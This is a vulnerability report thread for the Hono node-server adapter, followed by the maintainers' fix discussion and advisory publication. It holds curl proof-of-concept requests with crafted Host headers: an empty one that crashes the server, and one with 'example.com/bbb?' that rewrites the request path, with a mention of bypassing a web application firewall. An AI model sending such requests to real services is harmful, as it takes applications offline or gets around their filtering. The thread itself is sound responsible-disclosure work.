Denial of Service in newRequest

[y0d3n]

Hi, Denial of Service vulnerability discovered.

PoC

Source

import { serve } from '@hono/node-server'
import { Hono } from 'hono'

const app = new Hono()

app.get('/*', (c) => {
    return c.text("hello")
})

serve(app, (info) => {
    console.log(`Listening on http://localhost:${info.port}`) // Listening on http://localhost:3000
})

Request

curl localhost:3000/ -H "Host: "

As a result, the application stops.

Exception has occurred: TypeError: Invalid URL

In this case, the argument passed to new URL will be http:/// .

node-server/src/request.ts

Lines 117 to 126 in c22f750

	req[urlKey] = new URL(
	`${
	incoming instanceof Http2ServerRequest ||
	(incoming.socket && (incoming.socket as TLSSocket).encrypted)
	? 'https'
	: 'http'
	}://${incoming instanceof Http2ServerRequest ? incoming.authority : incoming.headers.host}${
	incoming.url
	}`
	).href

Suggested fix

It is recommended to validate the Host header.

---

In addition, it is possible to manipulate the c.req.path by including / in the Host header.
This has not so far led to any direct damage, but it could be used for WAF bypassing, etc., so it is recommended to add this to the validation process.

Source

import { serve } from '@hono/node-server'
import { Hono } from 'hono'

const app = new Hono()

app.get('/*', (c) => {
    return c.json({
        c_env_incoming_url: c.env.incoming.url,
        c_req_url: c.req.url,
        c_req_path: c.req.path,
    })
})

serve(app, (info) => {
    console.log(`Listening on http://localhost:${info.port}`) // Listening on http://localhost:3000
})

Request

curl localhost:3000/aaa -H "Host: example.com/bbb?" 

Response

{
	"c_env_incoming_url":"/aaa",
	"c_req_url":"http://example.com/bbb?/aaa",
	"c_req_path":"/bbb"
}

[yusukebe]

Hi @Yovach

Thank you for raising the issue.

@usualoma Can you take a look at this?

[usualoma]

Hi @y0d3n

Thanks for the report!
You're right about "Host: example.com/bbb?" too, I think it should be an error.
We will start to fix it immediately.

[usualoma]

#160 will also need to be considered together.

[usualoma]

I've created #162

#162 would be able to be released immediately in a patch version, as it only suppresses the abnormal termination and does not change the behaviour.

#160 and #161 may have edge cases affected by the change, so it would be better to calm down and fix them in the next minor version.

[usualoma]

At the moment, I would like to finalise the following changes.

main...usualoma:node-server:fix-invalid-incoming-request

[y0d3n]

Thanks for the quick fix.
Can I request CVE number for DoS? (Or after the related issue has been resolved?)

[usualoma]

And created #163

@y0d3n Thank you for offering. I appreciate it.

Can I request CVE number for DoS? (Or after the related issue has been resolved?)

It would be good to release a more secure version with #163 first and then promote the update to users.

@yusukebe What do you think?

[yusukebe]

Hi @y0d3n

I'm creating the report to request the CVE number for this issue.

[yusukebe]

I've published the report and requested the CVE number:

GHSA-hgxw-5xg3-69jx

[y0d3n]

Oh! I am very happy😆
Thank you very much!